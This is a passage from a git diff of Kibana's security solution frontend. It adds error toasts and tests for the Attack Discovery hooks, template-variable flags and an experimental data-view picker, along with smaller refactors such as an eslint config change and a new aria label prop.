name: 'attack.title' }]) ); }); it('should return `context.attack.timestamp` action variable', () => { const variables = getMessageVariables().context; expect(variables).toEqual( - expect.arrayContaining([expect.objectContaining({ name: 'attack.timestamp' })]) + expect.arrayContaining([{ description: expect.anything(), name: 'attack.timestamp' }]) ); }); it('should return `context.attack.entitySummaryMarkdown` action variable', () => { const variables = getMessageVariables().context; expect(variables).toEqual( - expect.arrayContaining([expect.objectContaining({ name: 'attack.entitySummaryMarkdown' })]) + expect.arrayContaining([ + { + description: expect.anything(), + name: 'attack.entitySummaryMarkdown', + useWithTripleBracesInTemplates: true, + }, + ]) ); }); it('should return `context.attack.mitreAttackTactics` action variable', () => { const variables = getMessageVariables().context; expect(variables).toEqual( - expect.arrayContaining([expect.objectContaining({ name: 'attack.mitreAttackTactics' })]) + expect.arrayContaining([ + { description: expect.anything(), name: 'attack.mitreAttackTactics' }, + ]) + ); + }); + + it('should return `context.attack.detailsUrl` action variable', () => { + const variables = getMessageVariables().context; + expect(variables).toEqual( + expect.arrayContaining([ + { + description: expect.anything(), + name: 'attack.detailsUrl', + useWithTripleBracesInTemplates: true, + }, + ]) ); }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/message_variables.ts b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/message_variables.ts index 5da682eb5dd24..6b6bef736ed97 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/message_variables.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/settings_flyout/schedule/edit_form/message_variables.ts @@ -31,6 +31,7 @@ export const getMessageVariables = (): ActionVariables => { 'Details of the attack with bulleted markdown that always uses special syntax for field names and values from the source data', } ), + useWithTripleBracesInTemplates: true, }, { name: 'attack.summaryMarkdown', @@ -40,6 +41,7 @@ export const getMessageVariables = (): ActionVariables => { defaultMessage: 'A markdown summary of attack discovery, using the same syntax', } ), + useWithTripleBracesInTemplates: true, }, { name: 'attack.title', @@ -68,6 +70,7 @@ export const getMessageVariables = (): ActionVariables => { 'A short (no more than a sentence) summary of the attack discovery featuring only the host.name and user.name fields (when they are applicable), using the same syntax', } ), + useWithTripleBracesInTemplates: true, }, { name: 'attack.mitreAttackTactics', @@ -86,6 +89,7 @@ export const getMessageVariables = (): ActionVariables => { defaultMessage: 'A link to the attack discovery details', } ), + useWithTripleBracesInTemplates: true, }, ], }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_find_attack_discoveries/index.test.ts b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_find_attack_discoveries/index.test.ts new file mode 100644 index 0000000000000..886f40b1c4db6 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_find_attack_discoveries/index.test.ts @@ -0,0 +1,127 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { renderHook, waitFor } from '@testing-library/react'; +import { QueryClient, QueryClientProvider } from '@tanstack/react-query'; +import * as ReactQuery from '@tanstack/react-query'; +import type { HttpSetup } from '@kbn/core/public'; +import React from 'react'; + +import { useFindAttackDiscoveries, useInvalidateFindAttackDiscoveries } from '.'; +import { getMockAttackDiscoveryAlerts } from '../mock/mock_attack_discovery_alerts'; +import { ERROR_FINDING_ATTACK_DISCOVERIES } from './translations'; +import * as useKibanaFeatureFlagsModule from '../use_kibana_feature_flags'; + +const mockAddError = jest.fn(); +jest.mock('../../../common/hooks/use_app_toasts', () => ({ + useAppToasts: () => ({ + addError: mockAddError, + addSuccess: jest.fn(), + addWarning: jest.fn(), + addInfo: jest.fn(), + remove: jest.fn(), + }), + get mockAddError() { + return mockAddError; + }, +})); + +jest.mock('../use_kibana_feature_flags', () => ({ + useKibanaFeatureFlags: jest.fn(), +})); + +const mockHttp: HttpSetup = { + fetch: jest.fn(), +} as unknown as HttpSetup; + +let queryClient: QueryClient; +const defaultProps = { + http: mockHttp, + isAssistantEnabled: true, +}; + +function wrapper(props: { children: React.ReactNode }) { + return React.createElement(QueryClientProvider, { client: queryClient }, props.children); +} + +describe('useFindAttackDiscoveries', () => { + beforeEach(() => { + jest.clearAllMocks(); + + (useKibanaFeatureFlagsModule.useKibanaFeatureFlags as jest.Mock).mockReturnValue({ + attackDiscoveryAlertsEnabled: true, + }); + queryClient = new QueryClient(); + }); + + it('calls addError with the expected title', async () => { + const errorBody = { message: 'Server error message' }; + const error = { body: errorBody }; + (mockHttp.fetch as jest.Mock).mockRejectedValueOnce(error); + + renderHook(() => useFindAttackDiscoveries({ ...defaultProps }), { + wrapper, + }); + + await waitFor(() => { + const callArgs = mockAddError.mock.calls[0]; + expect(callArgs[1]?.title).toBe(ERROR_FINDING_ATTACK_DISCOVERIES); + }); + }); + + it('returns an error when a server error body is present', async () => { + const errorBody = { message: 'Server error message' }; + const error = { body: errorBody }; + (mockHttp.fetch as jest.Mock).mockRejectedValueOnce(error); + + const { result } = renderHook(() => useFindAttackDiscoveries({ ...defaultProps }), { + wrapper, + }); + + await waitFor(() => { + expect(result.current.error).toBeDefined(); + }); + }); + + it('returns data when the request succeeds', async () => { + const mockData = { + connector_names: ['GPT-4o'], + data: getMockAttackDiscoveryAlerts(), + total: getMockAttackDiscoveryAlerts().length, + page: 1, + per_page: 10, + unique_alert_ids_count: getMockAttackDiscoveryAlerts().length, + }; + (mockHttp.fetch as jest.Mock).mockResolvedValueOnce(mockData); + + const { result } = renderHook(() => useFindAttackDiscoveries({ ...defaultProps }), { + wrapper, + }); + + await waitFor(() => { + expect(result.current.data).toEqual(mockData); + }); + }); +}); + +describe('useInvalidateFindAttackDiscoveries', () => { + it('returns a function that calls invalidateQueries', () => { + const invalidateQueries = jest.fn(); + jest + .spyOn(ReactQuery, 'useQueryClient') + .mockReturnValue({ invalidateQueries } as unknown as ReturnType< + typeof ReactQuery.useQueryClient + >); + + const { result } = renderHook(() => useInvalidateFindAttackDiscoveries()); + result.current(); + + expect(invalidateQueries).toHaveBeenCalledWith(['GET', expect.anything()], { + refetchType: 'all', + }); + }); +}); diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_find_attack_discoveries/index.ts b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_find_attack_discoveries/index.ts index 5467becc4df66..5be31a4a04509 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_find_attack_discoveries/index.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_find_attack_discoveries/index.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { HttpSetup } from '@kbn/core/public'; +import type { HttpSetup, IHttpFetchError, ResponseErrorBody } from '@kbn/core/public'; import type { AttackDiscoveryFindResponse } from '@kbn/elastic-assistant-common'; import { API_VERSIONS, ATTACK_DISCOVERY_FIND } from '@kbn/elastic-assistant-common'; import type { @@ -15,8 +15,13 @@ import type { } from '@tanstack/react-query'; import { useQuery, useQueryClient } from '@tanstack/react-query'; import { useCallback, useRef } from 'react'; + +import { useAppToasts } from '../../../common/hooks/use_app_toasts'; +import * as i18n from './translations'; import { useKibanaFeatureFlags } from '../use_kibana_feature_flags'; +type ServerError = IHttpFetchError; + interface Props { alertIds?: string[]; ids?: string[]; @@ -71,6 +76,7 @@ export const useFindAttackDiscoveries = ({ sortField = '@timestamp', sortOrder = 'desc', }: Props): UseFindAttackDiscoveries => { + const { addError } = useAppToasts(); const { attackDiscoveryAlertsEnabled } = useKibanaFeatureFlags(); const abortController = useRef(new AbortController()); @@ -161,6 +167,11 @@ export const useFindAttackDiscoveries = ({ { enabled: isAssistantEnabled && attackDiscoveryAlertsEnabled, getNextPageParam, + onError: (e: ServerError) => { + addError(e.body && e.body.message ? new Error(e.body.message) : e, { + title: i18n.ERROR_FINDING_ATTACK_DISCOVERIES, + }); + }, refetchOnWindowFocus, } ); diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_find_attack_discoveries/translations.ts b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_find_attack_discoveries/translations.ts new file mode 100644 index 0000000000000..5aa5a08248bb9 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_find_attack_discoveries/translations.ts @@ -0,0 +1,15 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { i18n } from '@kbn/i18n'; + +export const ERROR_FINDING_ATTACK_DISCOVERIES = i18n.translate( + 'xpack.securitySolution.attackDiscovery.useFindAttackDiscoveries.errorFindingAttackDiscoveriesTitle', + { + defaultMessage: 'Error finding attack discoveries', + } +); diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_get_attack_discovery_generations/index.test.ts b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_get_attack_discovery_generations/index.test.ts new file mode 100644 index 0000000000000..040eafeea4682 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_get_attack_discovery_generations/index.test.ts @@ -0,0 +1,122 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { HttpSetup } from '@kbn/core/public'; +import { QueryClient, QueryClientProvider } from '@tanstack/react-query'; +import * as ReactQuery from '@tanstack/react-query'; +import { renderHook, waitFor } from '@testing-library/react'; +import React from 'react'; + +import { useGetAttackDiscoveryGenerations, useInvalidateGetAttackDiscoveryGenerations } from '.'; +import { ERROR_RETRIEVING_ATTACK_DISCOVERY_GENERATIONS } from './translations'; +import * as useKibanaFeatureFlagsModule from '../use_kibana_feature_flags'; + +const mockAddError = jest.fn(); +jest.mock('../../../common/hooks/use_app_toasts', () => ({ + useAppToasts: () => ({ + addError: mockAddError, + addSuccess: jest.fn(), + addWarning: jest.fn(), + addInfo: jest.fn(), + remove: jest.fn(), + }), + get mockAddError() { + return mockAddError; + }, +})); + +jest.mock('../use_kibana_feature_flags', () => ({ + useKibanaFeatureFlags: jest.fn(), +})); + +const mockHttp: HttpSetup = { + fetch: jest.fn(), +} as unknown as HttpSetup; + +let queryClient: QueryClient; +const defaultProps = { + http: mockHttp, + isAssistantEnabled: true, + start: '2024-01-01T00:00:00.000Z', + end: '2024-01-02T00:00:00.000Z', + size: 10, +}; + +function wrapper(props: { children: React.ReactNode }) { + return React.createElement(QueryClientProvider, { client: queryClient }, props.children); +} + +describe('useGetAttackDiscoveryGenerations', () => { + beforeEach(() => { + jest.clearAllMocks(); + + (useKibanaFeatureFlagsModule.useKibanaFeatureFlags as jest.Mock).mockReturnValue({ + attackDiscoveryAlertsEnabled: true, + }); + queryClient = new QueryClient(); + }); + + it('calls addError with the expected title', async () => { + const errorBody = { message: 'Server error message' }; + const error = { body: errorBody }; + (mockHttp.fetch as jest.Mock).mockRejectedValueOnce(error); + + renderHook(() => useGetAttackDiscoveryGenerations({ ...defaultProps }), { + wrapper, + }); + + await waitFor(() => { + const callArgs = mockAddError.mock.calls[0]; + expect(callArgs[1]?.title).toBe(ERROR_RETRIEVING_ATTACK_DISCOVERY_GENERATIONS); + }); + }); + + it('returns an error when a server error body is present', async () => { + const errorBody = { message: 'Server error message' }; + const error = { body: errorBody }; + (mockHttp.fetch as jest.Mock).mockRejectedValueOnce(error); + + const { result } = renderHook(() => useGetAttackDiscoveryGenerations({ ...defaultProps }), { + wrapper, + }); + + await waitFor(() => { + expect(result.current.error).toBeDefined(); + }); + }); + + it('returns data when the request succeeds', async () => { + const mockData = { generations: [{ id: '1' }] }; + (mockHttp.fetch as jest.Mock).mockResolvedValueOnce(mockData); + + const { result } = renderHook(() => useGetAttackDiscoveryGenerations({ ...defaultProps }), { + wrapper, + }); + + await waitFor(() => { + expect(result.current.data).toEqual(mockData); + }); + }); +}); + +describe('useInvalidateGetAttackDiscoveryGenerations', () => { + it('returns a function that calls invalidateQueries', () => { + const invalidateQueries = jest.fn(); + jest + .spyOn(ReactQuery, 'useQueryClient') + .mockReturnValue({ invalidateQueries } as unknown as ReturnType< + typeof ReactQuery.useQueryClient + >); + + const { result } = renderHook(() => useInvalidateGetAttackDiscoveryGenerations()); + result.current(); + + expect(invalidateQueries).toHaveBeenCalledWith(['GET', expect.anything()], { + refetchType: 'all', + }); + }); +}); diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_get_attack_discovery_generations/index.ts b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_get_attack_discovery_generations/index.ts index 73ad6af0e4119..723b04329c2f3 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_get_attack_discovery_generations/index.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_get_attack_discovery_generations/index.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { HttpSetup } from '@kbn/core/public'; +import type { HttpSetup, IHttpFetchError, ResponseErrorBody } from '@kbn/core/public'; import { API_VERSIONS, ATTACK_DISCOVERY_GENERATIONS } from '@kbn/elastic-assistant-common'; import type { QueryObserverResult, @@ -19,8 +19,12 @@ import type { GetAttackDiscoveryGenerationsResponse, } from '@kbn/elastic-assistant-common'; +import { useAppToasts } from '../../../common/hooks/use_app_toasts'; +import * as i18n from './translations'; import { useKibanaFeatureFlags } from '../use_kibana_feature_flags'; +type ServerError = IHttpFetchError; + interface Props extends GetAttackDiscoveryGenerationsRequestQuery { http: HttpSetup; isAssistantEnabled: boolean; @@ -46,6 +50,7 @@ export const useGetAttackDiscoveryGenerations = ({ start, refetchOnWindowFocus = false, }: Props): UseGetAttackDiscoveryGenerations => { + const { addError } = useAppToasts(); const { attackDiscoveryAlertsEnabled } = useKibanaFeatureFlags(); const abortController = useRef(new AbortController()); @@ -72,6 +77,11 @@ export const useGetAttackDiscoveryGenerations = ({ queryFn, { enabled: isAssistantEnabled && attackDiscoveryAlertsEnabled, + onError: (e: ServerError) => { + addError(e.body && e.body.message ? new Error(e.body.message) : e, { + title: i18n.ERROR_RETRIEVING_ATTACK_DISCOVERY_GENERATIONS, + }); + }, refetchOnWindowFocus, } ); diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_get_attack_discovery_generations/translations.ts b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_get_attack_discovery_generations/translations.ts new file mode 100644 index 0000000000000..2addb03e0f6d8 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/use_get_attack_discovery_generations/translations.ts @@ -0,0 +1,15 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { i18n } from '@kbn/i18n'; + +export const ERROR_RETRIEVING_ATTACK_DISCOVERY_GENERATIONS = i18n.translate( + 'xpack.securitySolution.attackDiscovery.useGetAttackDiscoveryGenerations.errorRetrievingAttackDiscoveryGenerationsTitle', + { + defaultMessage: 'Error retrieving attack discovery generations', + } +); diff --git a/x-pack/solutions/security/plugins/security_solution/public/cases/.eslintrc.js b/x-pack/solutions/security/plugins/security_solution/public/cases/.eslintrc.js index cee2d528612a7..e8df76cf42c45 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/cases/.eslintrc.js +++ b/x-pack/solutions/security/plugins/security_solution/public/cases/.eslintrc.js @@ -68,19 +68,25 @@ // eslint-disable-next-line import/no-nodejs-modules const path = require('path'); +// eslint-disable-next-line import/no-nodejs-modules +const { execSync } = require('child_process'); + const minimatch = require('minimatch'); /** @type {Array.} */ -const RESTRICTED_IMPORTS = [ +const RESTRICTED_IMPORTS_PATHS = [ { name: 'enzyme', message: 'Please use @testing-library/react instead', }, ]; -// root directory of the project dynamically calculated -const ROOT_DIR = process.cwd(); -const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // e.g. ../../../../.. +const ROOT_DIR = execSync('git rev-parse --show-toplevel', { + encoding: 'utf8', + cwd: __dirname, +}).trim(); + +const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // i.e. '../../..' /** @type {import('eslint').Linter.Config} */ const rootConfig = require(`${ROOT_CLIMB_STRING}/.eslintrc`); // eslint-disable-line import/no-dynamic-require @@ -114,7 +120,7 @@ for (const override of overridesWithNoRestrictedImportRule) { // Dynamic duplicates removal for all restricted imports const existingPaths = modernConfig.paths.filter( (existing) => - !RESTRICTED_IMPORTS.some((restriction) => + !RESTRICTED_IMPORTS_PATHS.some((restriction) => typeof existing === 'string' ? existing === restriction.name : existing.name === restriction.name @@ -125,7 +131,7 @@ for (const override of overridesWithNoRestrictedImportRule) { const newRuleConfig = [ severity, { - paths: [...existingPaths, ...RESTRICTED_IMPORTS], + paths: [...existingPaths, ...RESTRICTED_IMPORTS_PATHS], patterns: modernConfig.patterns, }, ]; diff --git a/x-pack/solutions/security/plugins/security_solution/public/cases/components/ai_for_soc/table.tsx b/x-pack/solutions/security/plugins/security_solution/public/cases/components/ai_for_soc/table.tsx index b1e6d2fbcd507..4be1361a72cf3 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/cases/components/ai_for_soc/table.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/cases/components/ai_for_soc/table.tsx @@ -13,6 +13,12 @@ import type { QueryDslQueryContainer } from '@elastic/elasticsearch/lib/api/type import type { Alert } from '@kbn/alerting-types'; import type { EuiDataGridColumn } from '@elastic/eui'; import type { AlertsTableImperativeApi } from '@kbn/response-ops-alerts-table/types'; +import type { RuleResponse } from '../../../../common/api/detection_engine'; +import { useKibana } from '../../../common/lib/kibana'; +import { ActionsCell } from '../../../detections/components/alert_summary/table/actions_cell'; +import { CellValue } from '../../../detections/components/alert_summary/table/render_cell'; +import { useBrowserFields } from '../../../data_view_manager/hooks/use_browser_fields'; +import { DataViewManagerScopeName } from '../../../data_view_manager/constants'; import type { AdditionalTableContext } from '../../../detections/components/alert_summary/table/table'; import { ACTION_COLUMN_WIDTH, @@ -25,11 +31,6 @@ import { RULE_TYPE_IDS, TOOLBAR_VISIBILITY, } from '../../../detections/components/alert_summary/table/table'; -import { ActionsCell } from '../../../detections/components/alert_summary/table/actions_cell'; -import { getDataViewStateFromIndexFields } from '../../../common/containers/source/use_data_view'; -import { useKibana } from '../../../common/lib/kibana'; -import { CellValue } from '../../../detections/components/alert_summary/table/render_cell'; -import type { RuleResponse } from '../../../../common/api/detection_engine'; import { useAdditionalBulkActions } from '../../../detections/hooks/alert_summary/use_additional_bulk_actions'; export interface TableProps { @@ -100,12 +101,7 @@ export const Table = memo( [application, cases, data, fieldFormats, http, licensing, notifications, settings] ); - const dataViewSpec = useMemo(() => dataView.toSpec(), [dataView]); - - const { browserFields } = useMemo( - () => getDataViewStateFromIndexFields('', dataViewSpec.fields), - [dataViewSpec.fields] - ); + const browserFields = useBrowserFields(DataViewManagerScopeName.detections, dataView); const additionalContext: AdditionalTableContext = useMemo( () => ({ diff --git a/x-pack/solutions/security/plugins/security_solution/public/cloud_security_posture/components/csp_details/vulnerabilities_findings_details_table.tsx b/x-pack/solutions/security/plugins/security_solution/public/cloud_security_posture/components/csp_details/vulnerabilities_findings_details_table.tsx index 3550b014e3415..316894b468374 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/cloud_security_posture/components/csp_details/vulnerabilities_findings_details_table.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/cloud_security_posture/components/csp_details/vulnerabilities_findings_details_table.tsx @@ -234,10 +234,10 @@ export const VulnerabilitiesFindingsDetailsTable = memo( id: VulnerabilityFindingsPreviewPanelKey, params: { vulnerabilityId: vulnerability?.id, - resourceId: finding?.resource?.id || '', + resourceId: finding?.resource?.id, packageName: vulnerability?.package?.name, packageVersion: vulnerability?.package?.version, - eventId: finding?.event?.id || '', + eventId: finding?.event?.id, scopeId, isPreviewMode: true, banner: { diff --git a/x-pack/solutions/security/plugins/security_solution/public/common/components/cell_actions/index.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/common/components/cell_actions/index.test.tsx index b056d4012df4c..204f765045149 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/common/components/cell_actions/index.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/common/components/cell_actions/index.test.tsx @@ -11,6 +11,16 @@ import { SecurityCellActionsTrigger } from '../../../app/actions/constants'; import { CellActionsMode, SecurityCellActions } from '.'; import { CellActions } from '@kbn/cell-actions'; +jest.mock('../../../data_view_manager/hooks/use_data_view', () => ({ + useDataView: jest.fn(() => ({ + dataView: { id: 'security-default-dataview-id', fields: { getByName: jest.fn() } }, + })), +})); + +jest.mock('../../hooks/use_experimental_features', () => ({ + useIsExperimentalFeatureEnabled: jest.fn(() => false), +})); + const MockCellActions = CellActions as jest.Mocked; jest.mock('@kbn/cell-actions', () => ({ ...jest.requireActual('@kbn/cell-actions'), diff --git a/x-pack/solutions/security/plugins/security_solution/public/common/components/cell_actions/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/common/components/cell_actions/index.tsx index 8377a3cc47222..51ee44c081886 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/common/components/cell_actions/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/common/components/cell_actions/index.tsx @@ -19,6 +19,8 @@ import { SecurityCellActionsTrigger, SecurityCellActionType } from '../../../app import { SourcererScopeName } from '../../../sourcerer/store/model'; import { useGetFieldSpec } from '../../hooks/use_get_field_spec'; import { useDataViewId } from '../../hooks/use_data_view_id'; +import { useIsExperimentalFeatureEnabled } from '../../hooks/use_experimental_features'; +import { useDataView } from '../../../data_view_manager/hooks/use_data_view'; // bridge exports for convenience export * from '@kbn/cell-actions'; @@ -64,8 +66,13 @@ export const SecurityCellActions: React.FC = ({ children, ...props }) => { - const getFieldSpec = useGetFieldSpec(sourcererScopeId); - const dataViewId = useDataViewId(sourcererScopeId); + const oldGetFieldSpec = useGetFieldSpec(sourcererScopeId); + const oldDataViewId = useDataViewId(sourcererScopeId); + + const newDataViewPickerEnabled = useIsExperimentalFeatureEnabled('newDataViewPickerEnabled'); + const { dataView: experimentalDataView } = useDataView(sourcererScopeId); + const dataViewId = newDataViewPickerEnabled ? experimentalDataView?.id : oldDataViewId; + // Make a dependency key to prevent unnecessary re-renders when data object is defined inline // It is necessary because the data object is an array or an object and useMemo would always re-render const dependencyKey = JSON.stringify(data); @@ -74,12 +81,14 @@ export const SecurityCellActions: React.FC = ({ () => (Array.isArray(data) ? data : [data]) .map(({ field, value }) => ({ - field: getFieldSpec(field), + field: newDataViewPickerEnabled + ? experimentalDataView?.fields?.getByName(field)?.toSpec() + : oldGetFieldSpec(field), value, })) .filter((item): item is CellActionsData => !!item.field), // eslint-disable-next-line react-hooks/exhaustive-deps -- Use the dependencyKey to prevent unnecessary re-renders - [dependencyKey, getFieldSpec] + [dependencyKey, oldGetFieldSpec, newDataViewPickerEnabled, experimentalDataView?.fields] ); const metadataWithDataView = useMemo(() => ({ ...metadata, dataViewId }), [dataViewId, metadata]); diff --git a/x-pack/solutions/security/plugins/security_solution/public/common/components/events_viewer/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/common/components/events_viewer/index.tsx index 65ab197a0d7fb..c4fd72729bbe2 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/common/components/events_viewer/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/common/components/events_viewer/index.tsx @@ -35,6 +35,7 @@ import type { EuiTheme } from '@kbn/kibana-react-plugin/common'; import { EuiFlexGroup, EuiFlexItem } from '@elastic/eui'; import type { RunTimeMappings } from '@kbn/timelines-plugin/common/search_strategy'; import { useDataViewSpec } from '../../../data_view_manager/hooks/use_data_view_spec'; +import { useDataView } from '../../../data_view_manager/hooks/use_data_view'; import { InspectButton } from '../inspect'; import type { ControlColumnProps, @@ -148,9 +149,12 @@ const StatefulEventsViewerComponent: React.FC { + return experimentalDataView?.fields?.getByName(fieldName)?.toSpec(); + }, + [experimentalDataView?.fields] + ); + const getFieldSpec = newDataViewPickerEnabled ? experimentalGetFieldSpec : oldGetFieldSpec; const editorActionsRef = useRef(null); useEffect(() => { diff --git a/x-pack/solutions/security/plugins/security_solution/public/common/components/header_section/index.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/common/components/header_section/index.test.tsx index 498e9d65021d6..ce2039d891563 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/common/components/header_section/index.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/common/components/header_section/index.test.tsx @@ -338,6 +338,20 @@ describe('HeaderSection', () => { expect(screen.queryByTestId('inspect-icon-button')).not.toBeInTheDocument(); }); + test('renders "Chart Closed" when toggleAriaLabel="Chart" and toggleStatus=false', () => { + renderHeaderSection({ + id: 'id', + title: 'T', + subtitle: 'S', + headerFilters: null, + toggleQuery: jest.fn(), + toggleStatus: false, + toggleAriaLabel: 'Chart', + children: null, + }); + expect(screen.getByTestId('query-toggle-header')).toHaveAttribute('aria-label', 'Chart Closed'); + }); + test('it toggles query when icon is clicked', async () => { const mockToggle = jest.fn(); renderHeaderSection({ diff --git a/x-pack/solutions/security/plugins/security_solution/public/common/components/header_section/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/common/components/header_section/index.tsx index 4149ed90f5c8a..c61ce84e5ea87 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/common/components/header_section/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/common/components/header_section/index.tsx @@ -68,6 +68,7 @@ export interface HeaderSectionProps { titleSize?: EuiTitleSize; tooltip?: string; tooltipTitle?: string; + toggleAriaLabel?: string; } export const getHeaderAlignment = ({ @@ -113,6 +114,7 @@ const HeaderSectionComponent: React.FC = ({ toggleStatus = true, tooltip, tooltipTitle, + toggleAriaLabel, }) => { const styles = useStyles(border, height); const toggle = useCallback(() => { @@ -125,6 +127,7 @@ const HeaderSectionComponent: React.FC = ({ 'toggle-expand': toggleStatus, siemHeaderSection: true, }); + return (
    = ({ = ({ field, messageVariables, summaryMessageVariables, + defaultRuleFrequency = NOTIFICATION_DEFAULT_FREQUENCY, }) => { const [fieldErrors, setFieldErrors] = useState(null); const form = useFormContext(); @@ -224,14 +227,14 @@ export const RuleActionsField: React.FC = ({ updatedActions[index] = { ...updatedActions[index], frequency: { - ...(updatedActions[index].frequency ?? NOTIFICATION_DEFAULT_FREQUENCY), + ...(updatedActions[index].frequency ?? defaultRuleFrequency), [key]: value, }, }; return updatedActions; }); }, - [field] + [defaultRuleFrequency, field] ); const isFormValidated = isValid !== undefined; @@ -255,7 +258,7 @@ export const RuleActionsField: React.FC = ({ hideActionHeader: true, hasAlertsMappings: true, notifyWhenSelectOptions: NOTIFY_WHEN_OPTIONS, - defaultRuleFrequency: NOTIFICATION_DEFAULT_FREQUENCY, + defaultRuleFrequency, disableErrorMessages: !isFormValidated, }), [ @@ -269,6 +272,7 @@ export const RuleActionsField: React.FC = ({ setActionFrequency, setActionAlertsFilterProperty, ruleTypeId, + defaultRuleFrequency, isFormValidated, ] ); diff --git a/x-pack/solutions/security/plugins/security_solution/public/common/components/utils.ts b/x-pack/solutions/security/plugins/security_solution/public/common/components/utils.ts index abe74b8830bd3..4c1c7afb10fa4 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/common/components/utils.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/common/components/utils.ts @@ -10,6 +10,7 @@ import { useMemo, useState } from 'react'; import useResizeObserver from 'use-resize-observer/polyfilled'; import { niceTimeFormatByDay, timeFormatter } from '@elastic/charts'; import moment from 'moment-timezone'; +import type { IToasts } from '@kbn/core/public'; export const getDaysDiff = (minDate: moment.Moment, maxDate: moment.Moment) => { const diff = maxDate.diff(minDate, 'days'); @@ -35,3 +36,32 @@ export const useThrottledResizeObserver = (wait = 100) => { return { ref, ...size }; }; + +/** + * Displays an error toast with a specified title and a short message. + * Also allows to set a detailed message that will appear in the modal when user clicks the "See full error" button. + * + * @param title The title of the toast notification. Appears in both the toast header and the modal header. + * @param shortMessage An optional short message. Appears under toast header. + * @param fullMessage The full error message. Appears in the modal when user clicks the "See full error" button. + * @param toasts The toasts service instance. + */ +export function showErrorToast({ + title, + shortMessage, + fullMessage, + toasts, +}: { + title: string; + shortMessage?: string; + fullMessage: string; + toasts: IToasts; +}) { + const error = new Error('Error details'); + error.stack = fullMessage; + toasts.addError(error, { + title, + // Fall back to a space to ensure that the toast component does not render its default message + toastMessage: shortMessage ?? ' ', + }); +} diff --git a/x-pack/solutions/security/plugins/security_solution/public/common/containers/source/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/common/containers/source/index.tsx index 384f1e88a0fbe..5d7b03abe66e2 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/common/containers/source/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/common/containers/source/index.tsx @@ -13,9 +13,9 @@ import type { BrowserFields } from '@kbn/timelines-plugin/common'; import type { FieldSpec, IIndexPatternFieldList } from '@kbn/data-views-plugin/common'; import type { DataViewSpec } from '@kbn/data-views-plugin/public'; +import { browserFieldsManager } from '../../../data_view_manager/utils/security_browser_fields_manager'; import { useKibana } from '../../lib/kibana'; import * as i18n from './translations'; -import { getDataViewStateFromIndexFields } from './use_data_view'; import { useAppToasts } from '../../hooks/use_app_toasts'; import type { 